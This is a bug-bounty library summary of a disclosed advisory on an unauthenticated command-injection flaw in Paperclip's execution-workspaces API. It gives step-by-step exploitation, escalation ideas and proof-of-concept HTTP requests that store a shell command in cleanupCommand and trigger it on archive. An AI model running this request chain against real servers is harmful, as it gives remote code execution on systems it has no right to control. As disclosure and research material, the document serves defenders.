# Paperclip: OS Command Injection via Execution Workspace cleanupCommand

Paperclip's PATCH execution-workspaces endpoint stores an unvalidated cleanupCommand that is later run via spawn(shell, ['-c', ...]) on archive, yielding RCE with zero auth in local_trusted mode.

- Payout: Research
- Severity: critical
- Program: Paperclip
- Found by: YuvalElbar6
- Disclosed: 2026-04-16
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vr7g-88fq-vhq3
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vr7g-88fq-vhq3
- Tags: area:web domain:api domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Node.js server API (PATCH /api/execution-workspaces/:id) and workspace-runtime cleanup
**Root cause:** The PATCH handler stores user-supplied config.cleanupCommand without validation, and cleanupExecutionWorkspaceArtifacts passes it verbatim to spawn(shell, ["-c", command]) on archive.
**Steps:**
1. `GET /api/companies` to enumerate a company id
2. `GET /api/companies/<id>/execution-workspaces` to get a workspace id
3. If archived/failed, `PATCH /api/execution-workspaces/<id>` with `{"status": "active"}`
4. `PATCH /api/execution-workspaces/<id>` with `{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}`
5. `PATCH /api/execution-workspaces/<id>` with `{"status": "archived"}` to trigger cleanupExecutionWorkspaceArtifacts and execute the command
**How found:** Code review of workspace-runtime.ts cleanup path and the PATCH handler, noting cleanupCommand reaches spawn with a shell and that local_trusted middleware auto-grants admin.
**Exploitation:** In local_trusted mode every request is auto-granted admin (source local_implicit) and boardMutationGuard is bypassed, so an unauthenticated local HTTP request chain stores and triggers the command; in authenticated mode any company user can do it. Payloads ran as the server process: file write, `systeminfo` exfiltration, and `calc.exe` launch on Windows 11.
**Escalation:** Chained with SSRF or DNS rebinding to reach instances from the network; server privileges inherited for persistence and repo backdooring.
**Insight:** Lifecycle/cleanup hooks (archive, teardown) that shell out with `-c` are a reliable RCE sink; check whether config fields writable via a generic PATCH are later executed, and whether default desktop modes bypass auth entirely.

## Proof of concept (copied exactly from the original report)

**PATCH injecting cleanupCommand payload**

```
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}
```

**Archive request triggering command execution**

```
PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "archived"}
```

**PoC script usage command**

```
python poc_paperclip_rce.py --target http://127.0.0.1:3100
```

